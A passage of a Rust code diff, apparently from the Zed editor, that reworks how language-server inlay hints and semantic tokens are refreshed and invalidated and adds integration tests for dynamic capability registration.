 use futures::future::Shared;
 use gpui::{App, AppContext as _, AsyncApp, Context, Entity, Task};
 use language::{
@@ -12,6 +12,7 @@ use lsp::LanguageServerId;
 use rpc::{TypedEnvelope, proto};
 use settings::Settings as _;
 use text::{BufferId, Point};
+use util::ResultExt as _;
 
 use crate::{
     InlayHint, InlayId, LspStore, LspStoreEvent, ResolveState, lsp_command::InlayHints,
@@ -28,10 +29,7 @@ pub enum InvalidationStrategy {
     /// Demands to re-query all inlay hints needed and invalidate all cached entries, but does not require instant update with invalidation.
     ///
     /// Despite nothing forbids language server from sending this request on every edit, it is expected to be sent only when certain internal server state update, invisible for the editor otherwise.
-    RefreshRequested {
-        server_id: LanguageServerId,
-        request_id: Option<usize>,
-    },
+    RefreshRequested { server_id: LanguageServerId },
     /// Multibuffer excerpt(s) and/or singleton buffer(s) were edited at least on one place.
     /// Neither editor nor LSP is able to tell which open file hints' are not affected, so all of them have to be invalidated, re-queried and do that fast enough to avoid being slow, but also debounce to avoid loading hints on every fast keystroke sequence.
     BufferEdited,
@@ -58,7 +56,8 @@ pub struct BufferInlayHints {
     hints_by_chunks: Vec<Option<CacheInlayHints>>,
     fetches_by_chunks: Vec<Option<CacheInlayHintsTask>>,
     hints_by_id: HashMap<InlayId, HintForId>,
-    latest_invalidation_requests: HashMap<LanguageServerId, Option<usize>>,
+    pending_refreshes: HashSet<LanguageServerId>,
+    work_end_refreshes: HashSet<LanguageServerId>,
     pub(super) hint_resolves: HashMap<InlayId, Shared<Task<()>>>,
 }
 
@@ -89,7 +88,8 @@ impl BufferInlayHints {
         Self {
             hints_by_chunks: vec![None; chunks.len()],
             fetches_by_chunks: vec![None; chunks.len()],
-            latest_invalidation_requests: HashMap::default(),
+            pending_refreshes: HashSet::default(),
+            work_end_refreshes: HashSet::default(),
             hints_by_id: HashMap::default(),
             hint_resolves: HashMap::default(),
             chunks,
@@ -135,6 +135,27 @@ impl BufferInlayHints {
                 }
             }
         }
+        self.pending_refreshes.remove(&for_server);
+        self.work_end_refreshes.remove(&for_server);
+    }
+
+    fn mark_refresh_pending(&mut self, server_id: LanguageServerId) {
+        self.pending_refreshes.insert(server_id);
+        self.work_end_refreshes.insert(server_id);
+    }
+
+    /// A server finishing a long-running operation may have produced new hints without
+    /// requesting an explicit refresh, but servers like rust-analyzer report work (e.g.
+    /// flycheck) after every save: refresh at most once per server until the buffer
+    /// changes. Explicit refresh requests also count against this limit, as they make a
+    /// subsequent work-end refresh redundant.
+    fn mark_refresh_pending_on_work_end(&mut self, server_id: LanguageServerId) -> bool {
+        if self.work_end_refreshes.insert(server_id) {
+            self.pending_refreshes.insert(server_id);
+            true
+        } else {
+            false
+        }
     }
 
     pub fn clear(&mut self) {
@@ -142,7 +163,8 @@ impl BufferInlayHints {
         self.fetches_by_chunks = vec![None; self.chunks.len()];
         self.hints_by_id.clear();
         self.hint_resolves.clear();
-        self.latest_invalidation_requests.clear();
+        self.pending_refreshes.clear();
+        self.work_end_refreshes.clear();
     }
 
     pub fn insert_new_hints(
@@ -186,22 +208,12 @@ impl BufferInlayHints {
         Some(hint)
     }
 
-    pub(crate) fn invalidate_for_server_refresh(
-        &mut self,
-        for_server: LanguageServerId,
-        request_id: Option<usize>,
-    ) -> bool {
-        match self.latest_invalidation_requests.entry(for_server) {
-            hash_map::Entry::Occupied(mut o) => {
-                if request_id > *o.get() {
-                    o.insert(request_id);
-                } else {
-                    return false;
-                }
-            }
-            hash_map::Entry::Vacant(v) => {
-                v.insert(request_id);
-            }
+    /// Consumes a pending refresh for the given server, if any, invalidating its cached
+    /// hints: only the first query after [`LspStore::refresh_inlay_hints`] invalidates,
+    /// while concurrent queriers share the re-fetch it has started.
+    pub(crate) fn invalidate_for_server_refresh(&mut self, for_server: LanguageServerId) -> bool {
+        if !self.pending_refreshes.remove(&for_server) {
+            return false;
         }
 
         for (chunk_id, chunk_data) in self.hints_by_chunks.iter_mut().enumerate() {
@@ -299,16 +311,63 @@ impl LspStore {
         }
     }
 
+    /// Marks the server's inlay hints as refresh-pending in every buffer, to be
+    /// invalidated by the next query, and notifies the observers.
+    pub(super) fn refresh_inlay_hints(
+        &mut self,
+        server_id: LanguageServerId,
+        cx: &mut Context<Self>,
+    ) {
+        self.mark_inlay_hints_refresh_pending(server_id, cx);
+        if let Some((downstream_client, project_id)) = self.downstream_client.as_ref() {
+            downstream_client
+                .send(proto::RefreshInlayHints {
+                    project_id: *project_id,
+                    server_id: server_id.to_proto(),
+                    request_id: Some(super::next_wire_refresh_request_id()),
+                })
+                .context("sending refresh inlay hints downstream")
+                .log_err();
+        }
+    }
+
+    pub(super) fn mark_inlay_hints_refresh_pending(
+        &mut self,
+        server_id: LanguageServerId,
+        cx: &mut Context<Self>,
+    ) {
+        for lsp_data in self.lsp_data.values_mut() {
+            lsp_data.inlay_hints.mark_refresh_pending(server_id);
+        }
+        cx.emit(LspStoreEvent::RefreshInlayHints { server_id });
+    }
+
+    /// Same as [`Self::mark_inlay_hints_refresh_pending`], but rate-limited per server
+    /// via [`BufferInlayHints::mark_refresh_pending_on_work_end`].
+    pub(super) fn refresh_inlay_hints_on_work_end(
+        &mut self,
+        server_id: LanguageServerId,
+        cx: &mut Context<Self>,
+    ) {
+        let mut marked = false;
+        for lsp_data in self.lsp_data.values_mut() {
+            marked |= lsp_data
+                .inlay_hints
+                .mark_refresh_pending_on_work_end(server_id);
+        }
+        if marked {
+            cx.emit(LspStoreEvent::RefreshInlayHints { server_id });
+        }
+    }
+
     pub(super) async fn handle_refresh_inlay_hints(
         lsp_store: Entity<Self>,
         envelope: TypedEnvelope<proto::RefreshInlayHints>,
         mut cx: AsyncApp,
     ) -> Result<proto::Ack> {
-        lsp_store.update(&mut cx, |_, cx| {
-            cx.emit(LspStoreEvent::RefreshInlayHints {
-                server_id: LanguageServerId::from_proto(envelope.payload.server_id),
-                request_id: envelope.payload.request_id.map(|id| id as usize),
-            });
+        lsp_store.update(&mut cx, |lsp_store, cx| {
+            lsp_store
+                .refresh_inlay_hints(LanguageServerId::from_proto(envelope.payload.server_id), cx);
         });
         Ok(proto::Ack {})
     }
diff --git a/crates/project/src/lsp_store/semantic_tokens.rs b/crates/project/src/lsp_store/semantic_tokens.rs
index 25617e3ad82d6c..e4fafcfcaf7ec1 100644
--- a/crates/project/src/lsp_store/semantic_tokens.rs
+++ b/crates/project/src/lsp_store/semantic_tokens.rs
@@ -3,7 +3,7 @@ use std::{collections::hash_map, ops::Range, slice::ChunksExact, sync::Arc};
 use anyhow::Result;
 
 use clock::Global;
-use collections::HashMap;
+use collections::{HashMap, HashSet};
 use futures::{
     FutureExt as _,
     future::{Shared, join_all},
@@ -80,50 +80,27 @@ impl SemanticTokenConfig {
     }
 }
 
-#[derive(Debug, Clone, Copy)]
-pub struct RefreshForServer {
-    pub server_id: LanguageServerId,
-    pub request_id: Option<usize>,
-}
-
 impl LspStore {
     pub fn semantic_tokens(
         &mut self,
         buffer: Entity<Buffer>,
-        refresh: Option<RefreshForServer>,
         cx: &mut Context<Self>,
     ) -> SemanticTokensTask {
         let version_queried_for = buffer.read(cx).version();
         let latest_lsp_data = self.latest_lsp_data(&buffer, cx);
         let semantic_tokens_data = latest_lsp_data.semantic_tokens.get_or_insert_default();
-        if let Some(refresh) = refresh {
-            let mut invalidate_cache = true;
-            match semantic_tokens_data
-                .latest_invalidation_requests
-                .entry(refresh.server_id)
-            {
-                hash_map::Entry::Occupied(mut o) => {
-                    if refresh.request_id > *o.get() {
-                        o.insert(refresh.request_id);
-                    } else {
-                        invalidate_cache = false;
-                    }
-                }
-                hash_map::Entry::Vacant(v) => {
-                    v.insert(refresh.request_id);
-                }
-            }
-
-            if invalidate_cache {
-                let SemanticTokensData {
-                    raw_tokens,
-                    latest_invalidation_requests: _,
-                    update,
-                } = semantic_tokens_data;
-                *update = None;
-                raw_tokens.servers.clear();
-            }
+        let refreshed_servers = std::mem::take(&mut semantic_tokens_data.pending_refreshes);
+        if !refreshed_servers.is_empty() {
+            semantic_tokens_data.update = None;
+            semantic_tokens_data.generation += 1;
         }
+        for refreshed_server in &refreshed_servers {
+            semantic_tokens_data
+                .raw_tokens
+                .servers
+                .remove(refreshed_server);
+        }
+        let query_generation = semantic_tokens_data.generation;
 
         if let Some((updating_for, task)) = &semantic_tokens_data.update
             && !version_queried_for.changed_since(updating_for)
@@ -131,11 +108,15 @@ impl LspStore {
             return task.clone();
         }
 
-        let new_tokens = self.fetch_semantic_tokens_for_buffer(
-            &buffer,
-            refresh.map(|refresh| refresh.server_id),
-            cx,
-        );
+        let for_server = if refreshed_servers.len() == 1 {
+            refreshed_servers.iter().next().copied()
+        } else {
+            // With multiple servers refreshed, query all of them instead of fanning out
+            // filtered queries — the non-refreshed ones kept their tokens and answer
+            // with cheap deltas.
+            None
+        };
+        let new_tokens = self.fetch_semantic_tokens_for_buffer(&buffer, for_server, cx);
 
         let task_buffer = buffer.clone();
         let task_version_queried_for = version_queried_for.clone();
@@ -150,7 +131,9 @@ impl LspStore {
                             let semantic_tokens_data =
                                 lsp_data.semantic_tokens.get_or_insert_default();
 
-                            if version_queried_for == lsp_data.buffer_version {
+                            if version_queried_for == lsp_data.buffer_version
+                                && semantic_tokens_data.generation == query_generation
+                            {
                                 for (server_id, new_tokens_response) in new_tokens {
                                     match new_tokens_response {
                                         SemanticTokensResponse::Full { data, result_id } => {
@@ -191,10 +174,11 @@ impl LspStore {
                     lsp_store.update(cx, |lsp_store, cx| {
                         if let Some(current_lsp_data) =
                             lsp_store.current_lsp_data(buffer.read(cx).remote_id())
+                            && current_lsp_data.buffer_version == version_queried_for
+                            && let Some(semantic_tokens) = current_lsp_data.semantic_tokens.as_mut()
+                            && semantic_tokens.generation == query_generation
                         {
-                            if current_lsp_data.buffer_version == version_queried_for {
-                                current_lsp_data.semantic_tokens = None;
-                            }
+                            semantic_tokens.evict_all();
                         }
                     })?;
                     None
@@ -351,24 +335,25 @@ impl LspStore {
         }
     }
 
-    /// `request_id` orders per-server refreshes (a higher id invalidates the cache).
-    /// Client-initiated refreshes (e.g. after dynamic registration) pass `None`.
+    /// Marks the server's semantic tokens as refresh-pending in every buffer, to be
+    /// invalidated by the next query, and notifies the observers.
     pub(crate) fn refresh_semantic_tokens(
         &mut self,
         server_id: LanguageServerId,
-        request_id: Option<usize>,
         cx: &mut Context<Self>,
     ) {
-        cx.emit(LspStoreEvent::RefreshSemanticTokens {
-            server_id,
-            request_id,
-        });
+        for lsp_data in self.lsp_data.values_mut() {
+            if let Some(semantic_tokens) = &mut lsp_data.semantic_tokens {
+                semantic_tokens.pending_refreshes.insert(server_id);
+            }
+        }
+        cx.emit(LspStoreEvent::RefreshSemanticTokens { server_id });
         if let Some((client, project_id)) = self.downstream_client.as_ref() {
             client
                 .send(proto::RefreshSemanticTokens {
                     project_id: *project_id,
                     server_id: server_id.to_proto(),
-                    request_id: request_id.map(|id| id as u64),
+                    request_id: Some(super::next_wire_refresh_request_id()),
                 })
                 .log_err();
         }
@@ -379,15 +364,56 @@ impl LspStore {
         envelope: TypedEnvelope<proto::RefreshSemanticTokens>,
         mut cx: AsyncApp,
     ) -> Result<proto::Ack> {
-        lsp_store.update(&mut cx, |_, cx| {
-            cx.emit(LspStoreEvent::RefreshSemanticTokens {
-                server_id: LanguageServerId::from_proto(envelope.payload.server_id),
-                request_id: envelope.payload.request_id.map(|id| id as usize),
-            });
+        lsp_store.update(&mut cx, |lsp_store, cx| {
+            lsp_store.refresh_semantic_tokens(
+                LanguageServerId::from_proto(envelope.payload.server_id),
+                cx,
+            );
         });
         Ok(proto::Ack {})
     }
 
+    #[cfg(any(test, feature = "test-support"))]
+    pub fn semantic_token_servers(&self, buffer_id: text::BufferId) -> Vec<LanguageServerId> {
+        let mut servers = self
+            .lsp_data
+            .get(&buffer_id)
+            .and_then(|lsp_data| lsp_data.semantic_tokens.as_ref())
+            .map(|semantic_tokens| {
+                semantic_tokens
+                    .raw_tokens
+                    .servers
+                    .keys()
+                    .copied()
+                    .collect::<Vec<_>>()
+            })
+            .unwrap_or_default();
+        servers.sort();
+        servers
+    }
+
+    #[cfg(any(test, feature = "test-support"))]
+    pub fn semantic_token_data(
+        &self,
+        buffer_id: text::BufferId,
+    ) -> Vec<(LanguageServerId, Vec<u32>)> {
+        let mut data = self
+            .lsp_data
+            .get(&buffer_id)
+            .and_then(|lsp_data| lsp_data.semantic_tokens.as_ref())
+            .map(|semantic_tokens| {
+                semantic_tokens
+                    .raw_tokens
+                    .servers
+                    .iter()
+                    .map(|(server_id, tokens)| (*server_id, tokens.data.clone()))
+                    .collect::<Vec<_>>()
+            })
+            .unwrap_or_default();
+        data.sort_by_key(|(server_id, _)| *server_id);
+        data
+    }
+
     fn semantic_tokens_result_id(
         &mut self,
         server_id: LanguageServerId,
@@ -629,15 +655,25 @@ async fn raw_to_buffer_semantic_tokens(
 #[derive(Default, Debug)]
 pub struct SemanticTokensData {
     pub(super) raw_tokens: RawSemanticTokens,
-    pub(super) latest_invalidation_requests: HashMap<LanguageServerId, Option<usize>>,
+    pub(super) pending_refreshes: HashSet<LanguageServerId>,
     update: Option<(Global, SemanticTokensTask)>,
+    /// Bumped on every eviction so that fetches started against the evicted state
+    /// cannot write their stale results into the new one.
+    generation: u64,
 }
 
 impl SemanticTokensData {
     pub(super) fn remove_server_data(&mut self, server_id: LanguageServerId) {
         self.raw_tokens.servers.remove(&server_id);
-        self.latest_invalidation_requests.remove(&server_id);
+        self.pending_refreshes.remove(&server_id);
+        self.update = None;
+        self.generation += 1;
+    }
+
+    fn evict_all(&mut self) {
+        self.raw_tokens.servers.clear();
         self.update = None;
+        self.generation += 1;
     }
 }
 
diff --git a/crates/project/src/project.rs b/crates/project/src/project.rs
index f7d792a7f2a217..fd5954a99e7185 100644
--- a/crates/project/src/project.rs
+++ b/crates/project/src/project.rs
@@ -398,13 +398,25 @@ pub enum Event {
     Rejoined,
     RefreshInlayHints {
         server_id: LanguageServerId,
-        request_id: Option<usize>,
     },
     RefreshSemanticTokens {
         server_id: LanguageServerId,
-        request_id: Option<usize>,
     },
-    RefreshCodeLens,
+    RefreshCodeLens {
+        server_id: Option<LanguageServerId>,
+    },
+    RefreshDocumentColors {
+        server_id: Option<LanguageServerId>,
+    },
+    RefreshDocumentLinks {
+        server_id: Option<LanguageServerId>,
+    },
+    RefreshFoldingRanges {
+        server_id: Option<LanguageServerId>,
+    },
+    RefreshDocumentSymbols {
+        server_id: Option<LanguageServerId>,
+    },
     RevealInProjectPanel(ProjectEntryId),
     SnippetEdit(BufferId, Vec<(lsp::Range, Snippet)>),
     ExpandedAllForEntry(WorktreeId, ProjectEntryId),
@@ -3666,21 +3678,37 @@ impl Project {
                     return;
                 };
             }
-            LspStoreEvent::RefreshInlayHints {
-                server_id,
-                request_id,
-            } => cx.emit(Event::RefreshInlayHints {
+            LspStoreEvent::RefreshInlayHints { server_id } => cx.emit(Event::RefreshInlayHints {
                 server_id: *server_id,
-                request_id: *request_id,
             }),
-            LspStoreEvent::RefreshSemanticTokens {
-                server_id,
-                request_id,
-            } => cx.emit(Event::RefreshSemanticTokens {
+            LspStoreEvent::RefreshSemanticTokens { server_id } => {
+                cx.emit(Event::RefreshSemanticTokens {
+                    server_id: *server_id,
+                })
+            }
+            LspStoreEvent::RefreshCodeLens { server_id } => cx.emit(Event::RefreshCodeLens {
                 server_id: *server_id,
-                request_id: *request_id,
             }),
-            LspStoreEvent::RefreshCodeLens => cx.emit(Event::RefreshCodeLens),
+            LspStoreEvent::RefreshDocumentColors { server_id } => {
+                cx.emit(Event::RefreshDocumentColors {
+                    server_id: *server_id,
+                })
+            }
+            LspStoreEvent::RefreshDocumentLinks { server_id } => {
+                cx.emit(Event::RefreshDocumentLinks {
+                    server_id: *server_id,
+                })
+            }
+            LspStoreEvent::RefreshFoldingRanges { server_id } => {
+                cx.emit(Event::RefreshFoldingRanges {
+                    server_id: *server_id,
+                })
+            }
+            LspStoreEvent::RefreshDocumentSymbols { server_id } => {
+                cx.emit(Event::RefreshDocumentSymbols {
+                    server_id: *server_id,
+                })
+            }
             LspStoreEvent::LanguageServerPrompt(prompt) => {
                 cx.emit(Event::LanguageServerPrompt(prompt.clone()))
             }
diff --git a/crates/project/tests/integration/dynamic_registration.rs b/crates/project/tests/integration/dynamic_registration.rs
new file mode 100644
index 00000000000000..0dcfd708d41552
--- /dev/null
+++ b/crates/project/tests/integration/dynamic_registration.rs
@@ -0,0 +1,1880 @@
+//! Tests for dynamic (un)registration of language server capabilities, handled in
+//! `project::lsp_store::dynamic_registration`.
+
+use pretty_assertions::assert_eq;
+
+use super::*;
+
+#[gpui::test]
+async fn test_dynamic_semantic_tokens_registration(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/the-root"),
+        json!({
+            "a.rs": "fn main() {}",
+        }),
+    )
+    .await;
+
+    let project = Project::test(fs.clone(), [path!("/the-root").as_ref()], cx).await;
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(rust_lang());
+    let mut fake_servers = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            name: "the-language-server",
+            // Crucially, no `semantic_tokens_provider` is advertised statically; the
+            // server only offers it through dynamic registration (as Roslyn does).
+            ..FakeLspAdapter::default()
+        },
+    );
+
+    let _buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/the-root/a.rs"), cx)
+        })
+        .await
+        .unwrap();
+
+    let fake_server = fake_servers.next().await.unwrap();
+    let server_id = fake_server.server.server_id();
+    cx.executor().run_until_parked();
+
+    let semantic_tokens_provider = |cx: &mut gpui::TestAppContext| {
+        project.read_with(cx, |project, cx| {
+            project
+                .lsp_store()
+                .read(cx)
+                .lsp_server_capabilities
+                .get(&server_id)
+                .and_then(|capabilities| capabilities.semantic_tokens_provider.clone())
+        })
+    };
+
+    assert!(
+        semantic_tokens_provider(cx).is_none(),
+        "server should not advertise semantic tokens before dynamic registration"
+    );
+
+    fake_server
+        .request::<lsp::request::RegisterCapability>(
+            lsp::RegistrationParams {
+                registrations: vec![lsp::Registration {
+                    id: "semantic-tokens".to_string(),
+                    method: "textDocument/semanticTokens".to_string(),
+                    register_options: serde_json::to_value(
+                        lsp::SemanticTokensRegistrationOptions {
+                            text_document_registration_options:
+                                lsp::TextDocumentRegistrationOptions {
+                                    document_selector: None,
+                                },
+                            semantic_tokens_options: lsp::SemanticTokensOptions {
+                                legend: lsp::SemanticTokensLegend {
+                                    token_types: vec!["keyword".into(), "variable".into()],
+                                    token_modifiers: vec![],
+                                },
+                                full: Some(lsp::SemanticTokensFullOptions::Bool(true)),
+                                ..lsp::SemanticTokensOptions::default()
+                            },
+                            static_registration_options: lsp::StaticRegistrationOptions {
+                                id: None,
+                            },
+                        },
+                    )
+                    .ok(),
+                }],
+            },
+            DEFAULT_LSP_REQUEST_TIMEOUT,
+        )
+        .await
+        .into_response()
+        .unwrap();
+    cx.executor().run_until_parked();
+
+    let provider = semantic_tokens_provider(cx)
+        .expect("semantic tokens provider should be set after dynamic registration");
+    // The capability round-trips through capability-sync serialization, which may
+    // normalize the registration options into plain options; either shape is fine
+    // as long as the legend survives.
+    let legend = match provider {
+        lsp::SemanticTokensServerCapabilities::SemanticTokensOptions(options) => options.legend,
+        lsp::SemanticTokensServerCapabilities::SemanticTokensRegistrationOptions(options) => {
+            options.semantic_tokens_options.legend
+        }
+    };
+    assert_eq!(
+        legend.token_types,
+        vec!["keyword".into(), "variable".into()],
+    );
+
+    fake_server
+        .request::<lsp::request::UnregisterCapability>(
+            lsp::UnregistrationParams {
+                unregisterations: vec![lsp::Unregistration {
+                    id: "semantic-tokens".to_string(),
+                    method: "textDocument/semanticTokens".to_string(),
+                }],
+            },
+            DEFAULT_LSP_REQUEST_TIMEOUT,
+        )
+        .await
+        .into_response()
+        .unwrap();
+    cx.executor().run_until_parked();
+
+    assert!(
+        semantic_tokens_provider(cx).is_none(),
+        "semantic tokens provider should be cleared after unregistration"
+    );
+}
+
+#[gpui::test]
+async fn test_multi_registration_inlay_hint(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+    let (project, fake_server) =
+        setup_dynamic_registration_test(cx, lsp::ServerCapabilities::default()).await;
+    let server_id = fake_server.server.server_id();
+    let method = "textDocument/inlayHint";
+
+    let options_a = lsp::InlayHintOptions {
+        resolve_provider: Some(true),
+        ..lsp::InlayHintOptions::default()
+    };
+    let options_b = lsp::InlayHintOptions {
+        resolve_provider: Some(false),
+        ..lsp::InlayHintOptions::default()
+    };
+
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).inlay_hint_provider,
+        None,
+        "expected no inlay hint provider before any registration",
+    );
+
+    register_capability(
+        &fake_server,
+        method,
+        "inlay-hint-a",
+        serde_json::to_value(&options_a).ok(),
+    )
+    .await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).inlay_hint_provider,
+        Some(lsp::OneOf::Right(
+            lsp::InlayHintServerCapabilities::Options(options_a.clone())
+        )),
+        "expected the first registration's options after the first registration",
+    );
+
+    register_capability(
+        &fake_server,
+        method,
+        "inlay-hint-b",
+        serde_json::to_value(&options_b).ok(),
+    )
+    .await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).inlay_hint_provider,
+        Some(lsp::OneOf::Right(
+            lsp::InlayHintServerCapabilities::Options(options_b)
+        )),
+        "expected the second registration's options after the second registration",
+    );
+
+    unregister_capabilities(&fake_server, method, &["inlay-hint-b"]).await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).inlay_hint_provider,
+        Some(lsp::OneOf::Right(
+            lsp::InlayHintServerCapabilities::Options(options_a)
+        )),
+        "expected the remaining registration's options to be restored",
+    );
+
+    unregister_capabilities(&fake_server, method, &["inlay-hint-a"]).await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).inlay_hint_provider,
+        None,
+        "expected inlay hint provider to be cleared after unregistering the last registration",
+    );
+}
+
+#[gpui::test]
+async fn test_multi_registration_code_lens(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+    let (project, fake_server) =
+        setup_dynamic_registration_test(cx, lsp::ServerCapabilities::default()).await;
+    let server_id = fake_server.server.server_id();
+    let method = "textDocument/codeLens";
+
+    let options_a = lsp::CodeLensOptions {
+        resolve_provider: Some(true),
+    };
+    let options_b = lsp::CodeLensOptions {
+        resolve_provider: Some(false),
+    };
+
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).code_lens_provider,
+        None,
+        "expected no code lens provider before any registration",
+    );
+
+    register_capability(
+        &fake_server,
+        method,
+        "code-lens-a",
+        serde_json::to_value(options_a).ok(),
+    )
+    .await;
+    register_capability(
+        &fake_server,
+        method,
+        "code-lens-b",
+        serde_json::to_value(options_b).ok(),
+    )
+    .await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).code_lens_provider,
+        Some(options_b),
+        "expected the second registration's options after two registrations",
+    );
+
+    unregister_capabilities(&fake_server, method, &["code-lens-b"]).await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).code_lens_provider,
+        Some(options_a),
+        "expected the remaining registration's options to be restored",
+    );
+
+    unregister_capabilities(&fake_server, method, &["code-lens-a"]).await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).code_lens_provider,
+        None,
+        "expected code lens provider to be cleared after unregistering the last registration",
+    );
+}
+
+#[gpui::test]
+async fn test_multi_registration_document_symbol(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+    let (project, fake_server) =
+        setup_dynamic_registration_test(cx, lsp::ServerCapabilities::default()).await;
+    let server_id = fake_server.server.server_id();
+    let method = "textDocument/documentSymbol";
+
+    let options_b = lsp::DocumentSymbolOptions {
+        label: Some("custom".to_string()),
+        work_done_progress_options: lsp::WorkDoneProgressOptions::default(),
+    };
+
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).document_symbol_provider,
+        None,
+        "expected no document symbol provider before any registration",
+    );
+
+    register_capability(&fake_server, method, "document-symbol-a", None).await;
+    register_capability(
+        &fake_server,
+        method,
+        "document-symbol-b",
+        serde_json::to_value(&options_b).ok(),
+    )
+    .await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).document_symbol_provider,
+        Some(lsp::OneOf::Right(options_b)),
+        "expected the second registration's options after two registrations",
+    );
+
+    unregister_capabilities(&fake_server, method, &["document-symbol-b"]).await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).document_symbol_provider,
+        Some(lsp::OneOf::Left(true)),
+        "expected the remaining registration's options to be restored",
+    );
+
+    unregister_capabilities(&fake_server, method, &["document-symbol-a"]).await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).document_symbol_provider,
+        None,
+        "expected document symbol provider to be cleared after unregistering the last registration",
+    );
+}
+
+#[gpui::test]
+async fn test_multi_registration_restores_static_capability(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+    let (project, fake_server) = setup_dynamic_registration_test(
+        cx,
+        lsp::ServerCapabilities {
+            inlay_hint_provider: Some(lsp::OneOf::Left(true)),
+            ..lsp::ServerCapabilities::default()
+        },
+    )
+    .await;
+    let server_id = fake_server.server.server_id();
+    let method = "textDocument/inlayHint";
+
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).inlay_hint_provider,
+        Some(lsp::OneOf::Left(true)),
+        "expected the statically declared inlay hint provider before any dynamic registration",
+    );
+
+    let dynamic_options = lsp::InlayHintOptions {
+        resolve_provider: Some(true),
+        ..lsp::InlayHintOptions::default()
+    };
+    register_capability(
+        &fake_server,
+        method,
+        "inlay-hint-dynamic",
+        serde_json::to_value(&dynamic_options).ok(),
+    )
+    .await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).inlay_hint_provider,
+        Some(lsp::OneOf::Right(
+            lsp::InlayHintServerCapabilities::Options(dynamic_options)
+        )),
+        "expected the dynamic registration's options to override the static capability",
+    );
+
+    unregister_capabilities(&fake_server, method, &["unknown-id", "inlay-hint-dynamic"]).await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).inlay_hint_provider,
+        Some(lsp::OneOf::Left(true)),
+        "expected the static capability to be restored after unregistering the last dynamic registration, despite an unknown ID earlier in the batch",
+    );
+}
+
+#[gpui::test]
+async fn test_multi_registration_duplicate_id_keeps_order(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+    let (project, fake_server) =
+        setup_dynamic_registration_test(cx, lsp::ServerCapabilities::default()).await;
+    let server_id = fake_server.server.server_id();
+    let method = "textDocument/inlayHint";
+
+    let options_a = lsp::InlayHintOptions {
+        resolve_provider: Some(true),
+        ..lsp::InlayHintOptions::default()
+    };
+    let options_b = lsp::InlayHintOptions {
+        resolve_provider: Some(false),
+        ..lsp::InlayHintOptions::default()
+    };
+    let options_a_replacement = lsp::InlayHintOptions::default();
+
+    let (refresh_events, _refresh_events_subscription) = observe_refresh_events(&project, cx);
+    register_capability(
+        &fake_server,
+        method,
+        "inlay-hint-a",
+        serde_json::to_value(&options_a).ok(),
+    )
+    .await;
+    register_capability(
+        &fake_server,
+        method,
+        "inlay-hint-b",
+        serde_json::to_value(&options_b).ok(),
+    )
+    .await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        refresh_events.lock().drain(..).collect::<Vec<_>>(),
+        vec![
+            format!("inlay_hints({server_id})"),
+            format!("inlay_hints({server_id})"),
+        ],
+        "expected both registrations to trigger a refresh",
+    );
+
+    register_capability(
+        &fake_server,
+        method,
+        "inlay-hint-a",
+        serde_json::to_value(&options_a_replacement).ok(),
+    )
+    .await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).inlay_hint_provider,
+        Some(lsp::OneOf::Right(
+            lsp::InlayHintServerCapabilities::Options(options_b)
+        )),
+        "expected the latest distinct registration to stay active after a duplicate ID replaced an older one",
+    );
+    assert_eq!(
+        refresh_events.lock().as_slice(),
+        &[] as &[String],
+        "expected no refresh after a duplicate ID replaced an inactive registration",
+    );
+
+    unregister_capabilities(&fake_server, method, &["inlay-hint-b"]).await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).inlay_hint_provider,
+        Some(lsp::OneOf::Right(
+            lsp::InlayHintServerCapabilities::Options(options_a_replacement)
+        )),
+        "expected the replaced registration's options to be restored",
+    );
+
+    unregister_capabilities(&fake_server, method, &["inlay-hint-a"]).await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).inlay_hint_provider,
+        None,
+        "expected inlay hint provider to be cleared after unregistering the last registration",
+    );
+}
+
+#[gpui::test]
+async fn test_registration_with_unchanged_options_does_not_refresh(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+    let (project, fake_server) =
+        setup_dynamic_registration_test(cx, lsp::ServerCapabilities::default()).await;
+    let server_id = fake_server.server.server_id();
+    let method = "textDocument/codeLens";
+
+    let options = lsp::CodeLensOptions {
+        resolve_provider: Some(true),
+    };
+
+    let (refresh_events, _refresh_events_subscription) = observe_refresh_events(&project, cx);
+    register_capability(
+        &fake_server,
+        method,
+        "lens-a",
+        serde_json::to_value(options).ok(),
+    )
+    .await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        refresh_events.lock().drain(..).collect::<Vec<_>>(),
+        vec![format!("code_lens({server_id})")],
